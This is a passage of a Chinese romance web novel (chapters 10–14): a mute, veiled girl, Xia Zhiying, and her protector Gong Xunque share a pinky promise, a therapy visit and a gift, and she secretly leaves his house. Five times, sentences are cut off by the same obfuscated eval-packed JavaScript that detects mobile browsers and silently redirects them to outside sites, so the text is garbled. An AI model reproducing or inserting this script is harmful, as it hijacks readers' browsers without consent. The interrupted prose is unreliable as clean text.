【那为什么还要一直读呢?】 “因为……”宫寻阙沉默了。 夏之荧竖起耳朵,等待他的回答。 可一阵安静过后,他只是用低低的声音唤了她一声: “阿荧。” 隔着一层棉被,这声“阿荧”有点模糊,就像夏之荧模糊的心情。 她不明白。 不明白为什么自己会从这声没头没脑的“阿荧”里,听出一点悲伤的调子来,还生出一股没来由的心痛。 【突然叫我的话,会让我误解的】 【阿荧不是理由】 “你怎么知道不是呢?”宫寻阙说完,立刻低笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420382|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,“开玩笑的,以为你睡着了。” 夏之荧捏紧枕角的手指这才松弛下来。 她就猜到是无伤大雅的玩笑话,宫先生也是有点冷幽默在身上的。 自己有那么一瞬间差点当真,还真挺傻气。 “主人公也是作者自身,他一生只深爱着那位女性,她改变了他的人生。” 【后来呢?】 “后来,他和她天各一方。”宫寻阙声线低了几分,“但他一刻也不曾忘记过她。” 怎么可能忘得了她。 他是混迹于街头巷尾的野狗,无名无姓,从小在烂泥里长大。不曾像一个真正的人那样活,也没有谁把他当成人来对待。 除了她,只有她。 那天,她探出小阁楼的窗,轻盈又清澈的目光投射向他,比微风还没重量。他却像被滚烫沉重的烙铁砸伤,有生以来第一次体会到了难以言喻的羞惭。 被夏家领养前,他在福利院呆过一段时间。有个大孩子嘲笑他的身体缺陷,他无动于衷。 嘲讽只对自尊心尚存的人起作用,他之所以会把叉子捅进对方的眼睛,也只是因为餐盘里的馒头被抢走。 此刻,他却深深低下了头,恨不得立刻逃离。 不管别人怎么看他,他都不会在乎,唯独不想也被这个女孩嫌恶。 可女孩只是抿起嘴角,朝他露出一个紧张又羞涩的微笑,轻轻挥了挥手: “我能和你一起玩吗?” 遥不可及的月亮曾真的为他下降。 【再后来呢?】 夏之荧十分好奇。 宫寻阙拍拍被子,“还不困吗?” 被他一问,夏之荧还真困意上涌,连眼睛都睁不开了。 不过,在睡着之前,她突然想到一个特别重要的问题。 【宫先生,谢谢你今天陪我带棉花糖去看病】 男人叹了口气。 【怎么了?】 “阿荧,你又向我道谢。”宫寻阙微哂,“再说,我不是棉花糖的爸爸么?” 虽然这话确实没错,也是她先说的,但男人说话时似有若无的上翘尾音像一把小勾子,勾得她的心在不经意间晃悠了一下。 【那你今天怎么会想到来玻璃宫】 【难道你会未卜先知吗?】 除此之外,夏之荧也猜不出别的可能。 “当然不。”男人轻描淡写,“只是早上听见天气预报说,今天可能有雨。” 就这样而已吗? 夏之荧愣住了。 “我和阿荧一样讨厌南风天。”宫寻阙道,“所以每天都要提前了解天气。” 梅雨季节确实容易惹得人心烦意乱,夏之荧很能理解。 【但我心里还一直有点好奇】 男人问:“什么?” 【每次下暴雨,宫先生都会及时出现】 【住院的时候也是,明明是第一次见面,却还是来了】 【简直像宫先生早就认识我一样】 10. 拉钩起誓 素描本静静摊开,棉花糖轻巧蹦上床沿,山竹肥爪好奇地在上面踩来踩去。 宫寻阙把它抱起来,放到猫爬架上。 “害怕打雷是很自然的事情,很多人都怕雷声。”他淡然道,“我不放心,所以来看看你。” 素描本缩进被窝,又递出来。 【宫先生还认识别的人也怕打雷吗】 男人似有一瞬的沉默。 “我有一个朋友胆子很小。”他开了口,“暴风雨的天气,总要守着她才安心。” 竟然是这样,夏之荧有些惊讶。 她很难想象像宫先生这样一个强大到令人敬畏的上位者,竟也会有一个连打雷都害怕的朋友。 【真好,小时候我也总想有一个朋友】 小阁楼在一栋荒弃了很久的副楼里,周围都是人工林,藏着她这个见不得光的秘密。 因为夏远的命令,夏家没人敢主动靠近这个地方,她连个能说话的人都没有。就算再孤独,也只能打开小阁楼的窗,百无聊赖地看着外面发呆。 然而,映入眼帘的永远是一成不变的树林和天空,从来没有惊喜。 【你们现在还有联系吗】 “我已经很多年没见过她了。”宫寻阙看着被子底下露出来的几绺雪发,“不知道有没有机会能再见到。” 不知道她是不是还会用和小时候一样的语气跟自己说话,也不知道她有没有从一丁点儿大的小丫头,好好长成一个大姑娘。 【一定可以的!】 素描本上画了一个加油鼓励的猫猫头。 男人眼底浮起笑意,但转瞬即逝成淡淡的落寞。 “那她万一忘记我了该怎么办?” 【不会的】 “为什么?” 夏之荧想了想,一笔一画认真写下: 【如果我是你朋友,我一定不会忘了你】 宫先生是想被忘记都很难的人吧?如果自己小时候能认识这样一个朋友,肯定这辈子都没法儿忘记。 “真的?” 【真的】 “真的是真的吗?” 夏之荧脸颊微热,宫先生怎么突然调皮起来,故意模仿自己。 她刚要写下“真的是真的”,又把这行字都划掉了。 光这样安慰人似乎还不太够。 如果她能说话的话,一定会好好组织语言,告诉宫先生他是一个多么好的人,能成为他的朋友并被他深深记住,会是一件多么幸运、甚至幸运到令她有点嫉妒的事情。 可她不能开口。 无论她多想,都不能让宫寻阙听见自己的声音。 喉咙又生出难受的噎堵感,积压在胸腔的情绪不断往上冒。忍耐了半天,夏之荧忽然有了点子,试试探探地伸出手来。 宫寻阙就看着一只戴着黑手套的很小的手,慢吞吞地朝他勾了勾小拇指。 阿荧还是和小时候一样,什么事都很容易当真,所以最喜欢拉钩。 男人森冷深秀的眉眼染上柔和的暖意,却又在勾上她小拇指的刹那停下了动作。 事到如今,自己还有资格这么做吗?他弃她不问不顾,她却从未有一秒背弃过自己。 当年,夏羽晴在他房间里翻出了他靠帮其他佣人打下手攒的零钱,一口咬定这些钱是他偷的。 陶如玲心情不好,正好拿他撒气,不由分说就让人打了他一顿,又把他关了禁闭,要他好好反省。 他遍体鳞伤地蜷缩在黑暗,因为早已习惯被这样对待,所以也不会觉得太难熬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420383|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可为什么,他都没有哭,她反倒哭得那么伤心? 废弃仓库的小窗后面,出现了一张哭成小花猫的脸。 走路快点都会被裙子绊倒的小姑娘,竟然踩在这么高的椅子上,万一摔了可怎么办才好? “你明明没有……他们冤枉你……他们都是坏人……” 她哭得前言不搭后语。 他哑着嗓子问:“万一真是我呢?” 她拼命摇头,“我看见过你帮他们浇花,我知道不是你。” “如果你没看到呢?”他自暴自弃道,“说不定我就是这样的人,是你一直没发现。” “不可能!”她脱口而出,“反正我相信你,不管别人说什么,我只相信你。” 他动了动嘴唇,一个字都说不出来了。 “妈妈说过的,朋友之间就是要互相信任。”她费劲地从小窗栅栏间伸出手,向他勾起小拇指,“打勾勾。” 许是等得不耐烦了,那截细细的小拇指晃了晃,示意他快点。 宫寻阙掀起被子一角,把她的手塞了回去。 “睡了。” 小拇指被出其不意地勾住,勾紧,再用力地摇了两下。 她还是和他打了勾勾。 打完勾勾,夏之荧这才感觉压在心里的话稍微减轻了一点,闭上双眼沉沉睡去。 徒留身畔的男人颤抖着抬起手,一把握住倚在一边的乌木手杖。 五指死死掐紧白银五瓣花,任由刀片般锋锐的花瓣边缘在小拇指上割出十指连心的痛。 唯有痛意,方能令他清醒。 不能忘了,罪人能做的只有赎罪。 除了接受惩罚,罪人什么都不配得到,就连心存一丝妄想,都是不可饶恕的重罪。 11. 我心如焚 这座城市的梅雨季淋淋沥沥,落也落不尽。本以为快要出梅了,结果又潮乎乎地飘起了雨。 夏之荧要去医院复诊了。 天地笼罩在透明的雨帘里,雨丝噼里啪啦地打在车窗上,垂滴成一道道斜织的湿痕。 但她现在已经不那么讨厌下雨天了。 雪白龙胆清冽苦涩的香气充盈着车内空间,仿佛置身于一片落满了积雪的冷杉树林,驱散了雨水的潮气,唯有令人安心的宁静。 夏之荧侧过脸,看向身旁的男人,正好对上那双黑得无星无夜的眼睛。 “紧张了?”宫寻阙问她。 夏之荧点点头,又摇摇头。 “别怕,就是例行的复查而已。”宫寻阙温声道。 夏之荧点了下头。 其实,她并不太清楚自己到底生了什么病。 之前住院那段时间的记忆在脑子里朦朦胧胧的,像隔着一层厚厚的毛玻璃。她只记得自己很难受,可自己没有发烧也没有咳嗽,又不像是生病。 到了医院,那位温和亲切的池医生也没让她做过多的检查,只是问了她一些问题,她一一用纸笔回答。 答完后,池医生奖励给她草莓味的德芙巧克力。她小口啃着,又在素描本上写道: 【池医生,能告诉我,我到底怎么了吗?】 池晖眉头微蹙,很快展颜笑道:“不用担心,只是每个人或多或少都会有的小毛病,就跟感冒一样。唯一的区别是感冒了鼻子会不舒服,而这种小毛病会让心有点难受。” 夏之荧抬手放在自己胸口,似懂非懂。 【池医生也会这样吗?】 池晖笑着点头,“当然,就算是医生,也会有生病的时候,再正常不过。” 【宫先生呢?】 池晖一怔,没想到她会突然提起宫寻阙。 他斟酌了一下措辞,“宫先生是个很坚强的人。” 【那宫先生的心,是不是就不会有难受的时候了?】 “这我就不知道了。”池晖无奈地笑笑,“坚强的人也爱逞强,即使生了病也不会让人发现,有伤口也会藏起来。” 【我觉得这样不好】 池晖抬起圆珠笔轻点了一下她的小脑袋,“是啊,你说得很对。” 真是不可思议,不久前这个少女还苦苦抗拒着这个世界,现在竟然能主动关心别人了吗? “这次复查你又进步了很多,你真的很棒。” 素描本上出现了一只得意小猫头。 “画画和写字都是很好的交流方式。”池晖道,“你平时也是这样和宫先生交流的吗?” 夏之荧点点头。 【虽然写字比较慢,但宫先生总会很耐心地等我写完】 “所以还是会有一点点的不方便?”池晖问道。 夏之荧无声地小叹了口气。 岂止是不方便,简直难受到了极点。 池晖放缓了声调,“有想过直接和宫先生说话吗?” 夏之荧愣住了,定定地动也不动,仿佛被他戳破了一个做坏事的念头。 然后,她一把抓起笔,用力写下四个大字: 【绝对不行】 “为什么呢?你愿意告诉我吗?” 夏之荧深深低下了头,两只手用力揪紧了裙摆,似乎被问到的是最令她羞愧、最难以启齿的问题。 池晖动了动嘴唇,还是决定不再追问下去。 且不论夏之荧是否愿意吐露,现在的她看似好转明显,但往往这种时候才是最脆弱的。 稍有不慎,哪怕是一丁点儿的刺激,都极有可能前功尽弃,令她退行到更加糟糕的地步。 检查结束后,池晖要向宫寻阙汇报夏之荧的病情进展。 诊疗室的门一开,男人就迈着长腿走进办公室,空气中瞬间弥漫开雪白龙胆的清涩苦香。 “阿荧。” 男人视线落在少女身上的刹那,冷硬森然的气息瞬间变得无比柔软。 池晖在一旁瞧得目瞪口呆,他甚至看见男人那双黑冷深陷的眸中漾开一丝光亮,连紧绷成锋的嘴角都牵起柔和的笑意。 他从未见过宫寻阙这样。 明明是宫氏这种独角兽企业的掌权人,坐拥名利与财富的上位者,可男人却似永远被乌云和阴霾所笼罩。 他就像盘踞于这座城市上空的灰暗雨季,世间没有任何事物值得他挂心,更不能令他展颜。 但现在,那个连容姿都不曾显露的少女仅是站在他面前,一言不发地朝他举起写着简短话语的素描本,他便满足得胜过拥有全世界。 咳,那副样子就……真的很不值钱。 明知失礼,池晖还是忍不住这么想。 等诊疗室的门关上,房间里只剩下他们两个人时,男人又恢复成淡漠森冷的模样,仿佛少女一不在,他所有的鲜活生气也被随之带走。 “池医生。”他握着手杖坐下,“阿荧情况怎么样,是不是很快就能恢复了?” 池晖一下子就被问住了。 这让他怎么回答? 夏之荧虽在往好的方向发展,但只要是个有眼睛的人,都能看得出她现在的表现仍十分异常。别说预测什么时候康愈,就连病因都是一个难解的谜。 到底是关心则乱到了怎样的地步,才能让一个外界公认的理智到缺乏人性的冷血怪物,问出这种毫无意义的傻问题? 池晖叹了口气,“目前连成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420384|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因都不得而知,康复的期限我实在没法儿回答您。” 男人安静地听着,末了,眸光微微一烁,视线落在他胸前的耶稣受难像吊坠上。 “池医生,你信教?” 池晖愣住了,“我随我母亲和外婆,她们都信教。” 宫寻阙又问:“做礼拜的时候,听着牧师讲道,你会认为自己听见了上帝的声音吗?” “我外婆特别虔诚,她可能会有这种感受,我倒是不会。”池晖被他问得头皮发麻,“您为什么会突然问起我这种事?” 宫寻阙低下头,他到现在还清晰记得夏之荧的声音。第一次听见的时候,从耳膜到头顶都有种麻痹震颤的感觉。 难以形容的悦耳,悦耳到他粗俗鄙陋的文化程度都不知道该如何形容。如若有人骗他说是天使垂怜于他,对他启唇开口,他也会毫不犹豫的相信。 “宫先生,任何担心都是徒劳。”池晖安慰道,“夏小姐的恢复情况远超预期,只要坚持治疗就一定有希望。” “她会不会一辈子这样?”宫寻阙哑声问。 池晖默然,他不能否认这种最糟糕的可能。 造物主对人类何其残忍,赐予无比精巧复杂的心灵,却又令它们脆弱得一触即溃。 “都是我的错。”宫寻阙开了口,平稳克制到几乎让人恐惧的语气,仿佛述说的是一个无可动摇的客观定律。 离开夏家的那个夜晚,乌云翻涌,雷雨侵袭,正是她最害怕的天气。 他透过后视镜,看见她奔跑着追赶自己。褪色的棉布裙子被雨水浇得湿透,膝盖和胳膊上都是摔出来的污泥和血痕,可她还是拼了命地狂奔,直到轿车彻底消失在滂沱雨帘里。 她的父亲、继母、姐姐固然可恨,一个个抛弃她、背叛她,把她孤零零地丢在小阁楼。可自己对她做的和那些人又有什么区别,甚至更加残忍。 他给了她最坚定的承诺,发誓永远陪伴在她身边。可末了也是他,明知她胆子小,怕黑,怕打雷,却还是头也不回地离开,一去不返。 “她还那么小,人生才刚刚开始。”男人紧紧握住银质五瓣花杖头,指尖发白微颤。 “哪怕你向我保证了百分之九十九的希望,但只要想到那百分之一的糟糕可能……” 他抬起眼,双眸幽黑如古井无波,透不进一丝光亮。 “我就恐惧得不知如何是好。” 霎时间,池晖浑身起遍寒意,握着圆珠笔的手心一点点沁出冷汗。 他忽然想到,自己作为绝对不能轻易被情绪左右的心理医生,都忍不住为夏之荧难过心疼。那么,等到夏之荧创伤的成因都被揭开那天,宫寻阙又会变得怎么样? 他不敢往下想了。 12. 仅此而已 “那我们就下次复诊的时候再见咯。”池晖弯下腰,冲夏之荧挥挥手,“每天要都过得开开心心的,这样心里的小感冒才会好得更快。” 夏之荧认真地点点头。 “阿荧,我们回家。”宫寻阙温声唤道。 夏之荧提起裙摆跟了上去。 她喜欢小步小步地跟在他身后,每一步都能正好踩到他的影子。 其实宫寻阙的脚步总会适应她慢吞吞的步调,但她就是想这么做。 又能和他保持最安全的距离,不会触犯禁忌。 最重要的,是一抬眼就能看见他的背影,像夏天的树木一样,肩膀上是一整片辽阔的天空。 但今天,夏之荧走着走着,忽而迷茫了起来。 她不知道自己该走得快一点,还是要慢一些。 快一点的话,就能离他更近。 慢一些的话,就会离他更远。 这么简单的小学生都能想明白的问题,她却怎么都解不清。 上车前,宫寻阙的手机忽然震动起来。 夏之荧注意到,男人前一秒还温和舒展的眉眼,在看见屏幕上那一串来电数字的刹那,凝结起了森严的寒霜。 “阿荧,你先去车上等我。” 夏之荧依言照做,可视线还是穿过车窗,不由自主地落在他的身上。 在她印象里,就算以孔义特助的身份,也不能随便打电话给宫寻阙,一般只以邮件沟通。 她也从未见过宫寻阙露出这般肃杀可怖的神情,好像电话那头传来的是魔鬼的低语。 男人只简短说了几句就挂了,等他上车时,眉宇间的阴冷已如薄冰般消融殆尽。 “午餐想吃什么?”他温声问道。 夏之荧翻开素描本,笔有点没墨了,写出来的字迹很淡。 【宫先生,你还好吗?】 男人略抬眉,“为什么会这么问?” 【刚才的电话,我很在意】 “一点工作上的小事。”他勾了勾唇,“不用担心。” 夏之荧盯着他,换做以前,她肯定会放下心来。但现在,她不知道自己该不该相信。 池医生说过,坚强的人爱逞强,最会隐藏不想被人发现的东西。 宫先生也会这样吗? 夏之荧忽然有点烦躁。 她握着笔杆用力地划,可墨水已经干涸,只能在纸上留下深深浅浅的印痕。 讨厌的笔,没用的笔,为什么偏要在她最想说话的时候写不出来呢? “对了,这个差点忘记给你。”宫寻阙递过一支长条形的精美礼盒。 夏之荧打开盒盖,顿时惊讶地瞪大了眼睛。 天鹅绒衬垫上躺着一支银光熠熠的钢笔,钻石在笔身排列成华美的图案,笔帽上覆盖着蓝宝石镶嵌成的镂空五瓣花,精美得堪比博物馆里展出的艺术品。 “无意间看到,觉得不错就顺手买了。”宫寻阙淡声道,“如果你能用得上就最好。” 副驾位置的孔义趁他老板看不见,悄悄翻了一个快到天灵盖的白眼。 嗯,顺手:) 这支钢笔也就是老板让德国某奢侈钢笔品牌专门定制的而已。 也就用了800多颗钻石和72颗克什米尔蓝宝石而已。 也就耗费了十几位珠宝匠两个月的时间而已。 也就四千多万的价格而已。 哦,还有,全世界也就仅此一支而已。 真的很顺手啦。 “阿荧,你试试趁不趁手?”宫寻阙道。 夏之荧很慢地点了下头,握着钢笔没有动。 “如果觉得不好就不要。任何东西,只要你不喜欢就没有意义。”他顿了顿,“至少对我而言是这样。” 夏之荧摇摇头。 才不会,她很喜欢这支笔。 喜欢上面的五瓣花,第一眼见到时就被吸引。 手感也很舒服,沉甸甸的很有质感,拿在手里却不会觉得累。 最重要的,这是宫寻阙送给她的。哪怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420385|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是一支铅笔,在她眼中也毫无分别,她照样会很喜欢。 但现在,她握着这支钢笔,却一点儿都不知道该写些什么。 笔尖是崭新而锐利的,可她的心却是一团绵软的乱麻。不管她多努力地想从千头万绪中找到那根起始的线,都只会让它变得更加乱糟糟。 她并不擅长写东西。 在素描本上写下的文字,只能为她传递最简单的想法,还不如打一个勾勾来得简洁有力。 不知道从什么时候开始,她不满足于这样,更不想再这样。 可能是刚才池医生问起她的时候,也可能是更早以前。 她想要跟宫寻阙说话,像任何一个普通人那样和他交流。 她想让宫寻阙听见自己的声音。 很想很想。 只说一句话……可以吗? 万一自己贪心得不像样,想和他说的话有很多很多,又该怎么办才好? 夏之荧低下头,戴着黑手套的纤细手杖用力攥紧钢笔,微微颤抖。 “阿荧?”宫寻阙立刻发现了她的异常,“你哪里不舒服吗?” 雪白龙胆的苦香伴随着男人高于常人的体温,密密匝匝地萦绕过来。 夏之荧的心剧烈跳动,她甚至能听见胸腔里传来的吵闹声音。 明明是生了病的心,为什么还能跳得这么用力呢? “呜……” 她的喉咙里艰难地涌出模糊的声音。 “阿荧,你是在说话吗?” 她仰起脸,宫寻阙那双沉得辨不出颜色的狭眸,正紧张而激动地凝视着自己。 自己被漆黑的色彩吞噬殆尽,是绝对不容见天光的存在。 但是,为什么,倒映在他眼中的自己会如此明亮而清晰? 只有自己,全部都是自己。 夏之荧微微张开的嘴唇凝固不动了,忽然之间,那么多想说的话全都消失了。 此时此刻,她只想叫一叫宫寻阙的名字。 仅此而已。 13. 神圣喜剧 比话语更快涌出的是眼泪。 “啪嗒、啪嗒”,砸落在素描本的封皮。 开口的刹那,喉咙像被一只看不见的大手猛然扼住,难以言喻的恐惧在胸腔扩散蔓延,撑裂出无数道凌迟般的伤口。 做不到,一个音节都没勇气发出来。 夏之荧真的不敢。 如果只为满足自己的冲动,就要害得宫寻阙遭遇不幸,那她情愿自己这辈子都不能说话。 翻开素描本,她落下笔尖,狠狠戳在纸面上,再用力一划,一连划破好几张纸。 【对不起】 墨水淋漓的字迹,歪扭又难看。 “阿荧……?” 她听见宫寻阙慌了神的声音,想哭的冲动和强烈的内疚更强烈,眼泪成串儿地往下掉。 “阿荧,是因为刚才复查的时候太紧张了吗?” 宫寻阙想帮她擦眼泪,又被覆面的黑纱阻止了动作,只能用力攥紧了手帕,极轻地放进她的掌心。 “池医生没有一定要你改变的意思,他是你的医生,他很关心你,只是希望你能越来越开心。” “我也一样。” “我觉得现在的阿荧就很好。” 夏之荧肩膀一颤,头垂得更低。 她一点儿都不好。 在自己害怕雷声睡不着觉的时候,不知道该怎么照顾棉花糖的时候,宫先生总是陪在自己身边。 他为自己做了那么多,自己却在他烦恼的时候,连一句安慰的话都不能亲口对他说。 很差劲。 因为太想对宫先生说话,差点没有忍住冲动,险些害得他听见自己的声音,更差劲。 “阿荧,你不想说话也好,不想被人看见也好,都没有关系。只要你认为这是让你最舒服的生活方式,那它就是正确的。” 男人的声音像万籁俱寂的夜晚响起的钢琴琴音,低沉又迷人,蕴藏着包容一切的温柔。 “无论什么,你认为好才最重要,千万不要勉强自己去改变。” 不是这样的,夏之荧想。 宫先生错了。 以前的她真的不会在乎,反正小阁楼就是她全部的世界,里面只有她自己。每一天,都像小时候那许多个日夜一样,无论她趴在窗口怎么等,都不曾有谁出现。 现在,宫先生他走进来了,她的世界发生了翻天覆地的巨变。而她却不能改变,不敢改变,哪怕她真的很想。 夏之荧的呼吸逐渐变得急促,头疼得像要炸开,巨大的矛盾感快把她撕裂成两半。 耳朵嗡嗡地响,传来吵闹浑浊的杂声。 好吵,真的好吵。 到底是谁在自己耳边不停发出刻毒的骂声,吵得头都要裂开了。 她想用力捂住,但手好像一点儿都动不了,只能任凭这些声音跟无孔不入的水银一样,朝身体里的每一个角落灌注进去。 “夏远,我告诉你,今儿你必须给我拿个决断出来,不然这日子没法儿过了!”女人尖酸刻薄的嗓音像一根根剧毒的针,“家里这么多倒霉事儿都是因她而起,老爷子早就说过她是个灾星,你还由着那个贱女人把她塞进我们家。这下可好,老爷子被气得重病不起,说不定连她亲妈都是被她克死的!” “哭,你有什么好哭的!”男人怒吼,“都是因为你,夏家摊上大事儿了!那位大少爷死都不肯认祖归宗,天天拿命在那儿犟,又是跳车又是跳楼的,吵着要回来找你!” “我现在就让佣人把小阁楼的窗户都钉死,门也挂上大锁,这死丫头别想踏出去一步!”女人喘着粗气,恶狠狠地给男人出主意。 “老公,你可不能再心软了。我们就是因为对她太好,狠不下心,才让她有了勾三搭四的机会,惹出如今这等塌天大祸。” “你记得大师提醒我们的话吗?既然是恶神转世,那就不能让人看见她的样子,听见她的声音,这样才能保得全家平安。” 男人唉声叹气了起来,仿佛真的十分为难。 “那就听你的吧!都是为了夏家,宁可信其有不可信其无。我们把她养那么大,报恩是指望不上了,但绝不能再由着她祸害夏家!” …… 意识沉浮间,夏之荧明白过来了,这些声音在说的不就是自己吗? 和夏家老辈人口耳相传的恶神,长得极其相似的自己。 这位神明的传说充满了诅咒。她曾以人类女孩的姿态诞生,害得原本富贵平顺的一家人接连遭遇灾祸,哪怕是亲生父母都不能幸免于难。 最终,女孩被家里人关了起来,孤零零地死在一个寒夜。她的生命殒灭,灵魂却进入轮回,重复给他人和自己带来不幸的命运。 重演永远不会得到幸福、永远不会被爱、永远被抛弃伤害的结局。 如果传说是假的,那为什么在不停地应验? 如果传说是真的,那自己诞生在世上又有什么意义? 她实在想不明白,也不该去想。 一定是自己现在过得太幸福了,每一天都闪闪发光,幸福到得意忘形,差点都忘记了过去,还真以为自己能和普通人一样。 眼泪顺着雪白的睫毛一颗接一颗地滚落,湿润了通红的眼尾。 夏之荧拿起宫寻阙给她的手帕,用力把眼泪全都擦掉。 宫先生的手帕也是很香的,散发着一样的雪白龙胆的苦香。 她又用衣袖擦掉了落在钢笔上的泪痕。 【宫先生,你说得对】 【我太着急了,我应该慢慢来的】 写完,又画了一只精神满满的小猫头。 男人的眼睫像停栖敛翅的鸦鸟,眨也不眨,乌沉沉的眸光凝驻在她身上,低声问: “阿荧,你是真的没事吗?” 【当然没事】 【就是以后复查可以不可间隔缩短一点,我真的好紧张噢】 小猫头冒汗。 宫寻阙还是紧紧盯着她,黑纱微微起伏,一如往常遮掩住她的面孔,让他根本无从读取她的表情。 【宫先生,我想回玻璃宫了】 【今天一大早就来医院,都没来得及跟棉花糖玩呢】 棉花糖是一只很容易因为寂寞而闹情绪的肥猫,他们都知道。 “好,现在就回去。”男人温声应道。 【早上我听到天气预报说,下午又有雷雨了,要一直下到晚上才停】 【宫先生,你有时间的话,可以再多陪我一会儿吗?】 “嗯,多久都行。 【宫先生上次念的诗,我很喜欢】 “那就继续念给你听。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15420386|169013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 【谢谢你】 小猫头两只爪子撑着脸蛋,眼睛圆滚滚的,笑眯眯地望向他。 南风天的多变,有时候让气象卫星也追赶不上。预想中的雨并没有落下,夜空没有一丝云彩,像一块澄净透明的深蓝宝石,明灭着几粒银白的星辉。 梅雨季就快要结束了,大概接下来几天都是晴朗的好天气。 夏之荧一手扶着门框,另一只手朝宫寻阙用力挥动。 “回去吧,早点休息。“ 夜风送来男人的声音,有些模糊,但还是很好听。 夏之荧揉了揉眼睛,觉得他的背影也被风吹得有些模糊。 她转过身,刚要回屋,听见宫寻阙叫她: “阿荧。” 裙摆轻轻晃荡了一下。 她装作没有听见,轻轻关上了门。 好险,差一点又要动摇了。 “阿荧”这个词,对她来说具有不可抗拒的魔力。短促一句咒语,轻声呼唤,空气里就能开出花。 “喵呜。” 棉花糖吨吨吨地溜达过来,贴着她的裙摆蹭啊蹭。 夏之荧弯下腰,有点费劲儿地把它抱到膝头,捏它粉红色的爪子,摸它柔软的胖肚子。暖呼呼的大毛球扭来扭曲,娇声娇气地哼唧。 夏之荧弯了弯嘴角。 棉花糖是这个世界上最好的小猫咪,希望它也能一直做一只最幸福的小猫咪。 她在自动喂食机里倒满了粮,换了新鲜的水,又铲了猫砂。 铲猫砂以前好像都是宫寻阙在做,原来棉花糖这么一只香香软软的小猫咪,拉的粑粑竟然会这么臭。 夏之荧又把房间整理了一下。 她没有带来什么东西,想要抹掉自己的存在痕迹毫不费力。 把一直乱放的吹风机挂回浴室柜里正确的位置后,房间差不多也就恢复了原样。 一如来时。 只差最后一件事了。 夏之荧翻开素描本,趴在茶几边,一笔一画地写起字来。 写东西不是她的强项,要把努力深藏的话写出来更是困难。 她边写边想,涂涂改改了好久才写完。 等墨迹彻底干掉,她合上素描本,放在了茶几最显眼的位置。 茶几一角还搁着那本金色字黑封皮的书,是宫寻阙刚才给她念过的《神圣的喜剧》。 今天念到的篇章,是主人公和年少时的恋人重逢之后。 但丁因为自己犯下的罪孽,都不敢在贝雅特丽齐面前抬头。连其他女神都同情他痛苦的忏悔了,劝道:“贝雅特丽齐,你在人间的这位爱慕者为了见你,已经经历太多险阻,请你赐给他一些恩惠吧。” 夏之荧翻开书页,里面还夹着书签。她看不懂意大利语,料想应是念过的位置。 宫先生是特意把这本书留在这里的吗?这样以后每次来玻璃宫都可以念给自己听了。 她喜欢这个故事,一直都很想知道后续,不知道贝雅特丽齐是否愿意对但丁说出温柔言语,让他看见自己藏在面纱后的美丽容颜。 应该没有机会了。 她把宫寻阙送给她的钢笔放在了这本书旁边。 这样就差不多了吧? 夏之荧环顾一圈,推开门走了出去。 14. 只影成双 晚上,玻璃宫外面都亮着景观灯,清楚地照亮了离开的方向。 她不停地走,快步地走,等穿过草坪,走到庭院大门的时候,两只脚已经有些酸痛。 她是狭窄的小阁楼里长大的人,根本走不了很远的路。当她看着外面不知通向哪里的漆黑马路,心里只有迷茫。 但还是得走。 夏之荧拢紧衣服,沿着盘绕浓密人工林的路,漫无目的地朝前方走去。 她不知道自己走了多久,只知道再次回过头的时候,已经看不见玻璃宫温暖的光芒了。 拜拜。 她在心里默默说道。 宫先生的报恩也好,她的索取也好,至此全都结束。 